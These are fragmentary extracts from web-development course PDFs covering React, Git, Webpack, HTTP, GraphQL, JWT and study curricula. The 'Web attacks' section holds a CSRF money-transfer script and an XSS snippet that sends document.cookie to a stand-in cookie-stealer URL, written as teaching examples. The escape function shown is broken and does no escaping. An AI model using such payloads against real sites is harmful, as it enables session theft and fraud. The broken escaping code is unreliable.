<MyThemeContext.Provider value={theme}>
<div>
my component
</div>
</MyThemeContext.Provider>
);
}
Consuming context
render() {
return <Button theme={this.context} />;
}
}
59 / 71
NgNinja Academy | All Rights Reserved
useContext
In the previous chapter we learned about what is Context and why it is useful in React
Context can also be used in Function components
return(
<Button theme={currentTheme} />
);
}
useContext(MyThemeContext) only lets you read the context and subscribe to its changes
You still need a <MyThemeContext.Provider> above in the tree to provide the value for this
context
function MyComponent() {
const theme = "light";
return (
<MyThemeContext.Provider value={theme}>
<div>
my component
</div>
</MyThemeContext.Provider>
);
}
60 / 71
NgNinja Academy | All Rights Reserved
61 / 71
NgNinja Academy | All Rights Reserved
Example of shouldComponentUpdate
NOTE: It is encouraged to use function components over class components
With function components you can use useMemo() and Rect.memo hooks
React devtools
Install the chrome extension
These are super power tools to pro le your application
You can also check why the component was updated
For this - install why-did-you-update package - https://github.com/maicki/why-did-you-
update
whyDidYouUpdate(React);
}
// TODOComponent.js
class TODOComponent extends Component{
63 / 71
NgNinja Academy | All Rights Reserved
render() {
return <div>TODOComponent</div>
}
}
function AppComponent() {
return (<div>
<TODOComponent />
</div>)
}
Memoization
64 / 71
NgNinja Academy | All Rights Reserved
You can see that sum() method is being called multiple times
Without memoization the sum() method would be called and executed multiple times even if the
parameters passed to the methods are the same
From the above illustration sum(5, 10) would be computed twice WITHOUT memoization
If the same method is called multiple times and the parameters passed to it are the same - it
logically means the answer would be the same
And when the same method is called with the same parameters the stored answer is returned
without wasting the computation cycle on it
Because under the hood react components are nothing but JavaScript functions
So, if the props are the same memoized components are not re-rendered unnecessarily
65 / 71
NgNinja Academy | All Rights Reserved
return !some([
isActive,
])
}
TIP: General advice is to avoid memoization until the pro ler tells you to optimize
66 / 71
NgNinja Academy | All Rights Reserved
useMemo
67 / 71
NgNinja Academy | All Rights Reserved
Lazy Loading
You can split your JavaScript bundles and dynamically import the modules
Example: only import lodash sortby function dynamically in the code where it is actually needed
import('lodash.sortby')
.then(module => module.default)
.then(module => doSomethingCool(module))
Another way is to load components only when they are in the viewport
You can use this awesome library react-loadable-visibility for this purpose
68 / 71
NgNinja Academy | All Rights Reserved
Suspense
NOTE: Suspense is an experimental feature at this time. Experimental features may change
signi cantly and without a warning before they become a part of React.
<Suspense fallback={<div>Loading...</div>}>
<div>
<MyComp></MyComp>
</div>
It is used to wait for rendering component until the required data is fetched
69 / 71
NgNinja Academy | All Rights Reserved
root.render(<App />)
70 / 71
NgNinja Academy | All Rights Reserved
1. Start fetching
2. Start rendering
3. Finish fetching
It means we don’t wait for the response to come back before we start rendering
We start rendering pretty much immediately after kicking o the network request
function CartPage() {
return (
<Suspense fallback={<h1>Loading cart...</h1>}>
<CartDetails />
</Suspense>
);
}
function CartDetails() {
// Try to read product info, although it might not have loaded yet
const product = resource.product.read();
return <h1>{product.name}</h1>;
}
1. CartPage is loaded
2. It tries to load CartDetails
3. But, CartDetails makes call to resource.product.read() - so this component “suspends”
4. React shows the fallback loader and keep fetching the data in the background
5. When all the data is retrieved the fallback loader is replaced by CartDetails children
71 / 71
NgNinja Academy | All Rights Reserved
Web Development
Table Of Content
1 / 70
NgNinja Academy | All Rights Reserved
2 / 70
NgNinja Academy | All Rights Reserved
3 / 70
NgNinja Academy | All Rights Reserved
What is Git
4 / 70
NgNinja Academy | All Rights Reserved
Two the remote setup where your project les are on the github
Once you feel you have come to a point where you need to save changes such that a history is
maintained for it - that's where you start the commit process
Then you write a nice commit message that will describe your changes to the code
At this point git history is generated for your commited changed. But the changes are still on your
local system
So, anyone that has access to view your github repo can view these changes and can download it
git checkout command is then used to start working on any git feature branch
git merge is used if you are already on the branch and just want to merge remote changes with
your local changes
NOTE: The exact syntax for these commands will be explained in the following sections
5 / 70
NgNinja Academy | All Rights Reserved
Install Git
git
After your have installed the Git create your rst project by running following command
cd Ngninja
6 / 70
NgNinja Academy | All Rights Reserved
Pro tip: You can add all your les by simply running git add . instead of providing the individual
le names
Committing your le
Once you have staged your you will have to run commit command to push your changes to the Git
repository
7 / 70
NgNinja Academy | All Rights Reserved
Running this command will make save the snapshot of that le in your Git history
Commit command can take multiple ags allowing you to customize the command
-m ag is used to provide the commit message
You can see list of all the available ags here
Git clone
Go to the project directory and check the content that are downloaded
8 / 70
NgNinja Academy | All Rights Reserved
$ cd myProject
$ ls
9 / 70
NgNinja Academy | All Rights Reserved
Git Branching
Git provides a way for multiple people working on the same project using di erent branches
Each developer can create their own branch to do their speci c work on the project
The main branch of the tree is usually called master
Each developer can commit their changes to their respective branches
And when their work is nished they can merge their changes to the main master branch
Please note that the above git branch command will only create a new branch
To move your control to that branch you will have to execute another command
It is called checkout in Git language
Pro Tip: You can create and checkout a new branch in just one command using - git checkout
-b featureABC
Merging branches
After you are done working on a feature you may want to merge it to the master branch where
you maintain the code for all the completed features
To do that you will have to merge your branch with the master branch
Run the following commands to do the merge
11 / 70
NgNinja Academy | All Rights Reserved
Git status
This command lists all the les that you have worked on and have not been committed yet.
git status
12 / 70
NgNinja Academy | All Rights Reserved
Webpack
// Simple config
// It will combine and included all referenced files and minify your
JavaScript
"scripts": {
"build": "webpack"
}
Then you can run the above command using npm or yarn as follows
Installing Webpack
13 / 70
NgNinja Academy | All Rights Reserved
To make your project ready for production run npm run build
"scripts": {
"dev": "webpack-dev-server --mode development",
"build": "webpack --mode production"
},
Webpack in-depth
You can also load external plugins and dependencies using Webpack
For ex: You can also transpile your JavaScript le using Babel
14 / 70
NgNinja Academy | All Rights Reserved
"scripts": {
"build": "webpack src/main.js dist/bundle.js", // create bundled JS file
"execute": "node dist/bundle.js", // uses Node.js to execute/run the
bundled script
"start": "npm run build -s && npm run execute -s" // do everything above
in single command
}
Webpack con g
module.exports = {
mode: "development",
entry: "./modules/index.js"
output: {
filename: "build.js"
15 / 70
NgNinja Academy | All Rights Reserved
16 / 70
NgNinja Academy | All Rights Reserved
17 / 70
NgNinja Academy | All Rights Reserved
What is HTTP
18 / 70
NgNinja Academy | All Rights Reserved
HTTP Headers
Information about client and server systems are transmitted through HTTP headers
For ex: timestamps, IP addresses, server capabilities, browser information, cookies
Some examples of HTTP headers are as mentioned below
General headers
Request URL: https://www.ngninja.com
Request Method: GET
Status Code: 200 OK
19 / 70
NgNinja Academy | All Rights Reserved
Request Headers
Accept: text/html
Accept-Language: en-US,en
Connection: keep-alive
Host: ngninja.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6
Cookie: key=value; key2=value2; key3=value3
Response Headers
Connection: keep-alive
Content-Encoding: gzip
Content-Type: application/json
Server: nginx
X-Content-Type-Options: nosni
Content-Length: 648
20 / 70
NgNinja Academy | All Rights Reserved
21 / 70
NgNinja Academy | All Rights Reserved
NOTE: Session key is only good for the course of a single, unbroken communications session. A
new handshake will be required to establish a new session key when communication is re-
established
Web Services
22 / 70
NgNinja Academy | All Rights Reserved
You can expose existing functionality over the internet and make them reusable
Applications using di erent tech-stack can communicate with each other
It o ers low-cost way of communicating
It decouples your application from the web service
It can be used to exchange simple to complex documents/data
Query example:
http://www.ngninja.com/user/12345
23 / 70
NgNinja Academy | All Rights Reserved
24 / 70
NgNinja Academy | All Rights Reserved
Idempotent means result of multiple successful requests will not change the state of the resource
after initial application
25 / 70
NgNinja Academy | All Rights Reserved
GraphQL
Developed by Facebook
Co-creator Lee Byron
It is an open-source server-side technology
It is an execution engine and a data query language
Simple Example
// Query
{
person {
26 / 70
NgNinja Academy | All Rights Reserved
id
firstName
}
}
// Result
{
"data": {
"person": [
{
"id": "123",
"firstName": "Foo"
},
{
"id": "234",
"firstName": "Boo"
}
]
}
}
Fast
It gives only what you ask for
It saves multiple round trips
Robust
It returns strongly typed response
APIs don't need versioning
Because you can customize what you ask for at any time
Docs are auto-generated
Because it is strongly typed language
27 / 70
NgNinja Academy | All Rights Reserved
Central schema
It provides a central data model
It validates, executes, and is always an accurate picture of what data operations can be
performed by the app
Provides powerful query syntax for traversing, retrieving, and modifying data
Ask for what you want
It gets exactly that
It can restrict data that should be fetched from the server
Debugging is easy
Because it is strongly typed language
Setup GraphQL
28 / 70
NgNinja Academy | All Rights Reserved
{
"name": "ngninja-graphql-apollo-server-example",
"private": true,
"version": "1.0.0",
...
"dependencies": {
"body-parser": "1.17.2",
"cors": "2.8.3",
"express": "4.15.3",
"graphql": "0.10.3",
"graphql-server-express": "0.9.0",
"graphql-tools": "1.0.0"
},
"devDependencies": {
"babel-cli": "6.24.1",
"babel-plugin-transform-export-extensions": "^6.22.0",
"babel-preset-env": "^1.5.2"
}
}
npm install
29 / 70
NgNinja Academy | All Rights Reserved
// person.json
[
{
"id": "123",
"firstName":"Foo",
"lastName":"Boo",
},
]
Data store
module.exports = {
persons:store.collection('persons'),
30 / 70
NgNinja Academy | All Rights Reserved
// schema.graphql
type Query {
persons:[Person]
}
type Person {
id:ID!
firstName:String
lastName:String
}
31 / 70
NgNinja Academy | All Rights Reserved
// resolver.js
const db = require('./db')
const Query = {
persons:() => db.persons.list()
}
module.exports = {Query}
Query
query myQuery{
persons {
id
}
}
{
persons {
id
}
}
32 / 70
NgNinja Academy | All Rights Reserved
Nested Query
You can also nest queries to create complex queries and fetch multiple entities
Example get persons and their companies
// schema file
type Company {
id:ID!
name:String
}
type Person {
id:ID!
firstName:String
lastName:String
company:Company
}
// resolver file
const Person = {
firstName:(root,args,context,info) => {
return root.firstName
},
company:(root) => {
return db.companies.get(root.companyId);
}
33 / 70
NgNinja Academy | All Rights Reserved
}
module.exports = {Query,Student}
{
persons{
id
firstName
company {
id
name
}
}
}
Dynamic Queries
You can use query variables to pass dynamic values to the query
// schema
type Query {
sayHello(name: String!):String
}
34 / 70
NgNinja Academy | All Rights Reserved
// resolver
sayHello:(root, args, context, info) => `Hi ${args.name}. Welcome!`
// query
query myQuery($myName: String!) {
sayHello(name: $myName)
}
Mutations
// simple example
// schema
type Mutation {
createPerson(firstName: String, lastName: String): String
}
// resolver
35 / 70
NgNinja Academy | All Rights Reserved
const db = require('./db')
const Mutation = {
createPerson: (root, args, context, info) => {
return db.students.create({
firstName: args.firstName,
lastName: args.lastName,
})
},
}
module.exports = {Mutation}
// mutation query
mutation {
createPerson(firstName: "Foo", lastName: "Boo")
}
GraphQL client is used to the GraphQL server and use the queries and mutations you de ned on
the server
36 / 70
NgNinja Academy | All Rights Reserved
this.state = { persons: [] }
this.showPerson = this.showGreeting.bind(this)
}
showPerson() {
loadPeople().then(data => this.setState({ persons: data }))
}
render() {
const { persons } = this.state
return (
<div className = "App">
<header className = "App-header">
<h1 className = "App-title">Welcome to React</h1>
</header>
<br/><br/>
37 / 70
NgNinja Academy | All Rights Reserved
<section>
<button id="btnGreet" onClick=
{this.showPerson}>Show</button>
<br/>
<div id="personsDiv">
<h1>{persons[0].firstName}</h1>
</div>
</section>
</div>
)
}
}
38 / 70
NgNinja Academy | All Rights Reserved
Online Playgrounds
You can use Web IDE with autocompletion support and interactive schema lookups
https://github.com/graphql/graphiql
https://github.com/prisma-labs/graphql-playground
You can also using code sandbox - https://codesandbox.io/dashboard/recent
Select Apollo GraphQL Server sandbox
There are also public graphQL APIs to play with
https://apis.guru/graphql-apis/
Apollo
39 / 70
NgNinja Academy | All Rights Reserved
Apollo client
Apollo Server
40 / 70
NgNinja Academy | All Rights Reserved
Method 1
<noscript>
<img
src="myImage.jpg"
alt="My Image"
width="300px" />
</noscript>
42 / 70
NgNinja Academy | All Rights Reserved
Example
[].forEach.call(document.querySelectorAll('img[data-src]'), function(img)
{
img.setAttribute('src', img.getAttribute('data-src'));
img.onload = function() {
img.removeAttribute('data-src');
};
});
Method 2
43 / 70
NgNinja Academy | All Rights Reserved
Example
We have de ned function isInViewport which determines where the image "rectangle" via the
getBoundingClientRect function
In that function we check if the coordinates of the image are in the viewport of the browser
If so, then the isInViewport function returns true and our lazyLoad() method renders the
image
If not, then we just skip rendering that image
function lazyLoad(){
for(var i=0; i<lazy.length; i++){
if(isInViewport(lazy[i])){
if (lazy[i].getAttribute('data-src')){
lazy[i].src = lazy[i].getAttribute('data-src');
lazy[i].removeAttribute('data-src');
}
}
}
}
function isInViewport(el){
var rect = el.getBoundingClientRect();
return (
rect.bottom >= 0 &&
rect.right >= 0 &&
rect.top <= (window.innerHeight ||
document.documentElement.clientHeight) &&
rect.left <= (window.innerWidth ||
document.documentElement.clientWidth)
);
}
44 / 70
NgNinja Academy | All Rights Reserved
Web Worker
JavaScript is single-threaded
It means you cannot run more than 1 script at the same time
Web workers provide a mechanism to spawn a separate script in the background
You can do any calculation - without disturbing the UI
You won't get that website unresponsive chrome error!
Web workers are general-purpose scripts that enable us to o oad processor-intensive work from
the main thread
UI logic/rendering usually runs on the main thread
They enable developers to bene t from parallel programming in JavaScript
Run di erent computations at the same time
When the background thread completes its task it seamlessly noti es the main thread about the
results
45 / 70
NgNinja Academy | All Rights Reserved
Meaning the UI
Or the thread on which your which browser it running
Basic communication happens between UI and web worker using following API
example:
// main.js file
if(window.Worker) {
myWorker.postMessage(message);
// worker.js file
46 / 70
NgNinja Academy | All Rights Reserved
The worker receives the message onmessage and it identi es that it has to do addition operations
After the addition is completed the worker sends back the results again using the postMessage
API
Now, the main thread receives the result via the onmessage API and it can do its logic on the result
it got
47 / 70
NgNinja Academy | All Rights Reserved
48 / 70
NgNinja Academy | All Rights Reserved
Client-side rendering
Lower server load since the browser does most of the rendering
Once loaded pages don't have to be re-rendered so navigating between pages is quick
49 / 70
NgNinja Academy | All Rights Reserved
Server-side rendering
50 / 70
NgNinja Academy | All Rights Reserved
Authentication vs Authorization
Authentication
Authorization
51 / 70
NgNinja Academy | All Rights Reserved
OAuth
You will have to register your app with the OAuth provider like Google, Twitter, etc.
You will receive the application's id and secret
This secret allows you to speak OAuth to the provider
When a user comes to your app
Your app sends a request to the OAuth provider
52 / 70
NgNinja Academy | All Rights Reserved
53 / 70
NgNinja Academy | All Rights Reserved
Structure of JWT
feJhbGciOizzUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQm9iYnkgVGFibGVzIiwiaWF0I
joxNTE2MjM5MDIyLCJpc0FkbWluIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJ1c2Vyc01ha2UiOnR
ydWUsInVzZXJzQmFuIjp0cnVlLCJ1c2Vyc0RlbGV0ZSI6ZdEsc2V9fQ.HFRcI4qU2lyvDnXhO-
cSTkhvhrTCyXv6f6wXSJKGblk
54 / 70
NgNinja Academy | All Rights Reserved
Header
Contains the metadata about the JWT itself
Ex: type of algorithm used to encrypt the signature
// Header example
{
"alg": "HS256",
"typ": "JWT"
}
Payload
This is the most important part from the app's perspective
Payload contains the claims
User sends this payload to the server
Server then decodes the payload to check for example whether the user can delete a
resource
// Payload example
{
"name": "Ninja",
"iat": 123422221, // timestamp the JWT was issued
"isAdmin": true,
"permissions": {
"canViewOrders": true,
"canDeleteOrders": false
}
}
55 / 70
NgNinja Academy | All Rights Reserved
Signature
This pertains to the security
Basically, it's a hashed value of your header, payload, and SECRET
The secret that only server and trusted entities know
Server used this signature to validate the JWT sent by the user
It looks gibberish
56 / 70
NgNinja Academy | All Rights Reserved
Advantages of JWT
Disadvantages of JWT
57 / 70
NgNinja Academy | All Rights Reserved
localStorage
// Store
localStorage.setItem("blog", "NgNinja Academy");
// Retrieve
console.log(localStorage.getItem("blog"))
sessionStorage
58 / 70
NgNinja Academy | All Rights Reserved
// Store
sessionStorage.setItem("blog", "NgNinja Academy");
// Retrieve
console.log(sessionStorage.getItem("blog"))
59 / 70
NgNinja Academy | All Rights Reserved
Web attacks
CSRF
60 / 70
NgNinja Academy | All Rights Reserved
// example script
$.post("https://bankofmilliondollars.com/sendMoney",
{ toAccountNumber: "1010101", amount: "$1M" }
)
The script above will be executed on the bank's website using the user's valid authorization token
If the bank does not have necessary defense against such attack in place - the money will be sent
to the attacker
61 / 70
NgNinja Academy | All Rights Reserved
62 / 70
NgNinja Academy | All Rights Reserved
XSS
63 / 70
NgNinja Academy | All Rights Reserved
<script>
document.write('<img src="http://localhost/cookiestealer.php? cookie
='
+ escape(document.cookie) +
+ ' />');
</script>
Attacker injects the above example script that will steal the victim's cookies
The victim browser will think its javascript code sent by server to be executed
The user will see an image-link so user might just click it
When the user clicks this link image gets rendered, BUT -
In the background this link will silently grab the cookie
This cookie has all the active session details
The cookies are sent to the attacker
Now attacker can pose as the victim user and do bad things
Every value that can be entered by user should be treated as untrusted data
All the input must be sanitized before storing
Example: all theHTML tags are removed
Validation code for number values, username, email, password
There are existing libraries available for doing such validations
Escape the strings
This script looks for special characters, such as < > and replaces them with appropriate
HTML character entity name
There are existing libraries available for this purpose
Write escape logic on front end as well as back end
Below is a simple logic how to escape the string
64 / 70
NgNinja Academy | All Rights Reserved
function escapeString(str) {
return str.replace(/</g, '<')
}
65 / 70
NgNinja Academy | All Rights Reserved
CORS
CORS Example
// CORS config
Access-Control-Allow-Origin: https://aaa.com
66 / 70
NgNinja Academy | All Rights Reserved
Access-Control-Allow-Methods: GET
67 / 70
NgNinja Academy | All Rights Reserved
68 / 70
NgNinja Academy | All Rights Reserved
In simple words
http sends credentials in plain text
https encrypts the request
The data is encrypted with a symmetric key
Then sent to server
Then the server decrypts the data using the symmetric key to get the plain text data back
Browsers can detect response content type correctly irrespective of the content-type speci ed
This feature is called content-type sniffing or MIME sniffing
This feature is useful, but also dangerous
An evil person can do MIME confusion attack
They can inject a malicious resource, such as a malicious executable script
Masquerading as an innocent resource, such as an image
Browser will ignore the declared image content type because it can derive the actual content
type
And instead of rendering an image will execute the malicious script
Use - X-Content-Type-Options: nosniff
Now, the browser will not use sni ng when handling the fetched resources
Security in JavaScript
69 / 70
NgNinja Academy | All Rights Reserved
70 / 70
NgNinja Academy | All Rights Reserved
1 / 12
NgNinja Academy | All Rights Reserved
Table Of Content
2 / 12
NgNinja Academy | All Rights Reserved
Week 1
HTML
Anatomy of HTML
history, what can HTML do
What is DOM
What are DOM nodes
Tags - HTML, Body, Head, Nav
Tags - Div, P, Section, Span
CSS
What is Box-model
Selectors - Id, Class, Element-tag
Properties - Color, Background-color, Border
Properties - Margin, Padding
Chrome Developer Tools
Elements tab
select DOM element through dev-tool
Inspect an element
Inspect styles of the element
Change styles through the inspect tool
Delete classes from the element
Add new class to the element through the dev tool
Exercise
1. Create HTML page
2. Add Navigation bar with items - Home, About, Contact Us
3. Set background color of navigation bar to Blue
4. Add a text paragraph inside Div element below navigation bar
3 / 12
NgNinja Academy | All Rights Reserved
Week 2
HTML
Formatting: Strong, Italicize, Subscript, Strikeout
Inner HTML
Anchor tag
Images
add image
set height-width
repeat property
size property
DOM Manipulation through dev tools
change inner HTML
delete DOM node
CSS
Decoupling CSS from HTML
Write CSS in a le
Import CSS from CDN
What is CDN
Why to use CDN
Playing with Fonts, font size, weight, family
Height and Width
Position properties
Display properties
JavaSCript
Hello World
What and Why JavaScript
Primitive data types - Numbers, Boolean, String, etc
Variables - var, let, const
What is the di erence between them
When to use which type of declaration
Exercise
1. Edit style of an element from dev tool
2. Edit inner HTML of an element from dev tool
3. Edit class and other attributes from dev tool
4. Add image with a link that will take you to google.com
4 / 12
NgNinja Academy | All Rights Reserved
Week 3
HTML
Unordered Lists
Ordered Lists
Attributes vs Properties
Builtin and Custom attributes
CSS
Fun with borders - style, dash, dotted, width
Fun with shadows
Using Google Font Icons
Add phone, home, facebook, instagram icon
Use Font awesome icons
Working with oats
Left, right oat
Centering elements and other position quirks
px vs % units
JavaScript
Operators
add, subtract, multiple, divide, mod
Complex data types
objects, arrays
null and undefined
Exercises
1. CSS selectors - grab element by id, class, and tag and change their property
2. Make image oat to the right of the text-paragraph
3. Make a list of grocery
4. Perform addition, subtraction, division, and multiplication of two numbers
Week 4
HTML
Input and Button tags
Web storage, local storage, session storage
Why do we need them
When to use which type of storage
Intro to Canvas and SVG
Di erence between them
5 / 12
NgNinja Academy | All Rights Reserved
Accessibility
Why is this important
How to add accessibility attributes on Anchor, Buttons, Image elements
CSS
Parents, siblings, and other selectors
Pseudo classes
Pseudo elements
What and why do we use them?
CSS Gradients
JavaScript
Truthy and Falsy values
List of such values
How to check if a variable is truthy or falsy
Conditionals - if, else, switch, ternary
How to write nested ternary
Loops
for, while
When to use which?
Are there any performance di erences between them?
Arrays and collections
When to use arrays?
How to traverse arrays?
Chrome Developer Tools
Debugging your function using console logs
What is JSON
JSON.Stringify
Change JavaScript Object to JSON
Change JSON to JavaScript Object
Tip and tricks of using dev tools
Exercises
1. Create 3 beautiful colored gradient squares
2. Add alternate text to an image
3. Swap values of 2 variables in JavaScript
Week 5
HTML
Script tag
Add JS code in Script tag
6 / 12
NgNinja Academy | All Rights Reserved
Week 6
HTML
Radio buttons
Checkboxes
When to use Radio buttons vs When to use Checkboxes
CSS
Introduction - What and Why Flexbox
Flexbox properties
flex-direction
flex-wrap
just-content
align-items
7 / 12
NgNinja Academy | All Rights Reserved
JavaScript
Builtin Functions
Custom Functions and Methods
Write a custom function
Call that custom function from another function
Scoping in JavaScript
Function scope vs Block scope
What is hoisting
Git
Install Git locally
Use git -v command on command line
Merging remote branch X into your local branch Y
Deleting a local branch
Exercise
1. Dynamically update the image source
2. Create a dropdown list using exbox and list elements
3. Write a function to alert "Hello World" message
4. Write a function that takes in a string and a number as arguments and console logs its value
5. Find length of this string - "I love JavaScript"
6. Change the case to all-capital for this string - "I love JavaScript"
Week 7
CSS
“Initial”, “Inherit” and “Unset” Properties
Normalizing and Validating your CSS
Why to do it
How to do it
What are CSS Sprites
When and why to use them
JavaScript
The "new" keyword
How to create new objects in JavaScript
The "this" keyword
How is this di erent in JavaScript
Examples of how this is di erent depending on the context
Function as rst-class citizens
What do rst-class citizens mean?
Web Development
8 / 12
NgNinja Academy | All Rights Reserved
HTTP fundamentals
What is HTTP
How does internet work?
How does browser work?
What happens behind the scenes when you visit any site?
Search about this on ngninja.com
Git
Writing good commit messages
Format to follow
Why writing good commit messages is important?
Exercise
1. Validate your CSS le and x the errors
2. Pass a function-object as a parameter to another function X and call that function-object
argument inside function X
Week 8
CSS
Media queries
Target mobile, tab, and desktop resolutions
Writing responsive CSS for all the major platforms
JavaScript
Intervals and Timers
Intro to Ajax
What is it?
Why is used?
Who uses it?
What are Callback functions
Objects and Prototypes
What are prototypes?
What is prototype chaining?
Prototypal Inheritance
How is this di erent than Class-based Inheritance?
Web Development
Di erent HTTP Headers
Caching in browser
Application tab in Chrome Development Tool
Exercise
1. Fix the CSS of your website to make it responsive on mobile platforms
9 / 12
NgNinja Academy | All Rights Reserved
2. Implement inheritance in JavaScript for the following hierarchy - LivingThing -> Animal -> Cat
Week 9
CSS
2D and 3D transformations
Animations
JavaScript
Recursion
Why to use recursion?
Fun with array methods
map, reduce, filter
More Fun with array methods
find, concat, reverse
Web Development
What is REST API
Measure your website performance
How to reduce page load time?
What are package management services like NPM, Yarn?
Exercise
1. Create a bouncing ball using just CSS and HTML
2. Get sum of numbers in array using "reduce" method
3. Find a number in an array
4. Measure the time taken by your website to load and to the rst-render
Week 10
CSS
What is Shadow DOM?
Why is Shadow DOM important?
JavaScript
ES6+ introduction
10 / 12
NgNinja Academy | All Rights Reserved
Week 11
Week 12
11 / 12
NgNinja Academy | All Rights Reserved
12 / 12
NgNinja Academy | All Rights Reserved
1 / 13
NgNinja Academy | All Rights Reserved
Table Of Content
2 / 13
NgNinja Academy | All Rights Reserved
Week 1
HTML
Refresh the tags
HTML, Body, Head, Nav
Div, P, Section, Span
Anchor, Images
Lists, Tables
What is DOM
How does DOM work
What is DOM hierarchy
CSS
Box-model
Selectors - Id, Class, Element-tag
Properties - Color, Background-color, Border
Properties - Margin, Padding
Decoupling CSS and HTML
What and Why CDN
JavaScript
Primitive data types - Numbers, Boolean, String, etc
Complex data types - Array, Objects
Variables - var, let, const
What is the di erence between them
When to use which type of declaration
Exercises
Write a function that takes in an array of mixed data types and returns the array in reverse
order
Implement a clickable image that will take you to your favorite website
3 / 13
NgNinja Academy | All Rights Reserved
Week 2
HTML
Input and Button tags
Input types - text, password, email, etc.
Submit type input
Form element
Attributes of form
Submit/Post form
Attributes vs Properties
When to use Attributes vs Properties
Builtin and Custom attributes
Web storage, local storage, session storage
Di erence between each storage type
Use cases for each storage type
CSS
Parents, siblings, and other selectors
Play around with each type of selectors
Grab sibling selector
Grab sibling in only odd or even position
Can you select a parent from a child element
Pseudo-classes
And pseudo-elements
What and why do we use them?
CSS Gradients
Create beautiful backgrounds using gradients
Create beautiful buttons, hero components using gradients
JavaScript
Truthy and Falsy values
List of such values
How to check if a variable is truthy or falsy
Conditionals - if, else, switch, ternary
How to write nested ternary
Event listeners
Create event listeners
Remove event listeners
Event handling
Event bubbling, delegation, propagation
What is event bubbling
What is event capturing
Di erent between target and currentTarget property
Chrome Developer Tools
Debugging your function using console logs
What is JSON
JSON.Stringify
4 / 13
NgNinja Academy | All Rights Reserved
Week 3
HTML
Accessibility
Unordered Lists
Ordered Lists
Form element
Form validation
Show/hide errors depending on error states
Radio buttons
Checkboxes
When to use Radio buttons vs When to use Checkboxes
What are cookies
How does e-commerce sites use cookies
How do ads companies use cookies
CSS
Changing CSS with pure JavaScript
Add, remove, and toggle classes with JavaScript
JavaScript
Loops
for, while
When to use which?
Are there any performance di erences between them?
Arrays and collections
When to use arrays?
How to traverse arrays?
Scoping and Hoisting
The "new" keyword
How to create new objects in JavaScript
The "this" keyword
How is this di erent in JavaScript
Examples of how this is di erent depending on the context
5 / 13
NgNinja Academy | All Rights Reserved
Week 4
CSS
Introduction - What and Why Flexbox
Flexbox properties
flex-direction
flex-wrap
just-content
align-items
Web Development
HTTP fundamentals
What is HTTP
How does internet work?
How does browser work?
What happens behind the scenes when you visit any site?
Search about this on ngninja.com
What is DNS
How is IP address resolved
Di erence between IP and Mac address
JavaScript
What are Callback functions
Objects and Prototypes
What are prototypes?
What is prototype chaining?
6 / 13
NgNinja Academy | All Rights Reserved
Prototypal Inheritance
How is this di erent than Class-based Inheritance?
Fun with array methods
map, reduce, filter
More Fun with array methods
find, concat, reverse
Bind, call, apply
Di erence between them
When to use which method
Function as rst-class citizens
What do rst-class citizens mean?
Git
What and why Git
Install Git locally
Merging remote branch X into your local branch Y
Deleting a local branch
Create a Git repo
What are branches
Committing, pushing, and pulling changes
What are the commands for these operations?
What ags do they take
Exercises
Create a navigation bar using Flexbox
Create a Git repo with two branches. Commit changes to one of the branches. Merge those
commits to the other branch.
Week 5
CSS
“Initial”, “Inherit” and “Unset” Properties
Normalizing and Validating your CSS
Why to do it
How to do it
Di erence between em, rem, px, %
When to use which
Media queries
Target mobile, tab, and desktop resolutions
Writing responsive CSS for all the major platforms
JavaScript
7 / 13
NgNinja Academy | All Rights Reserved
Closures
Composition
Intervals and Timers
Async programming
Promises, Observables, async-await
Recursion
Why to use recursion?
Design patterns of recursion
Tree data-structure
DFS and BFS algorithm using recursion
ReactJS
What is React
Why React
React vs Vue vs Angular
What are SPAs
Single Page Applications
Why SPAs are better than traditional web apps
Exercises
Create a blog
Page for list of all the posts
Page for the post
Make it responsive for mobile, tablet, and desktop
Make the images responsive too
Make the navigation bar responsive
Show hamburger icon with a dropdown for mobile platforms
Week 6
JavaScript
Immutable Data Structures
JavaScript as Functional Programming language
Currying
ReactJS
Installing ReactJS
What is JSX
What is a React component
Why do you need components
Creating your rst React App
using create-react-app utility
8 / 13
NgNinja Academy | All Rights Reserved
Git
Cherry-picking a particular commit
Rebasing your branch with the other branch
Creating pull requests
Squashing multiple commits into one single commit
Chrome Developer Tools
Networks tab - All, XHR, JS
Networks tab - Inspect XHR query request
Networks tab - Inspect XHR query response
Exercises
Create a react application
Create a React component that displays details of a TODO task
task name, description, due dates, priority
Demonstrate cherry-picking a particular commit
Commit changes to branch X
Goto branch Y and cherry pick the last commit from branch X and push it to the
branch Y
Week 7
HTML
Adding multimedia on webpages
Adding videos
Adding sounds
<object> Element
Embedding YouTube Videos
CSS
2D and 3D transformations
Animations
Keyframes
JavaScript
JavaScript Classes
What are classes
How is JavaScript class di erent than other language class like Java
Arrow functions
Block scope
How to achieve blog scope for variables
ReactJS
Function Components
9 / 13
NgNinja Academy | All Rights Reserved
Class components
Di erence between di erent component types
How to reuse components inside other components
states and props
What and why state variables
What and why prop variables
Exercises
Embed your favorite YouTube video on a webpage
Create a bouncing ball that bounces from oor to ceiling forever
Week 8
HTML
Implementing drag and drop using HTML5
CSS
What is Shadow DOM?
Why is Shadow DOM important?
JavaScript
The Lexical this
What is it?
How is it di erent from the regular this in JavaScript
Spread operator
What is it?
What are it's usecases?
Rest operator
What is it?
What are it's usecases?
What is destructuring
ReactJS
How to do two-way binding in React
Adding styles to your react component
External styles
Inline styles
Object notation styles
Git
Writing good commit messages
Format/Standard to follow
Why writing good commit messages is important?
Commitizen
10 / 13
NgNinja Academy | All Rights Reserved
Branching strategies
Di erent options available
Pros and cons of branching strategies
How to manage dev, QA, and production branches
Exercises
Write a function to clone a JavaScript object using ES6+ features
Implement drag and drop feature to upload a le by dropping it on a web page
Create a React component that displays a list of TODO tasks
Week 9
HTML
HTML5 Web Workers
What is a Web Worker?
Implementing web worker
Does given browser support web worker?
JavaScript
Map + Set + WeakMap + WeakSet
What are those?
What are the di erences between them?
When to use which data structure?
What is a call stack
What is a task queue
What is an event loop in JavaScript
ReactJS
Rendering content conditionally
Rendering async data in your React component
Get the data
Display it on your React app
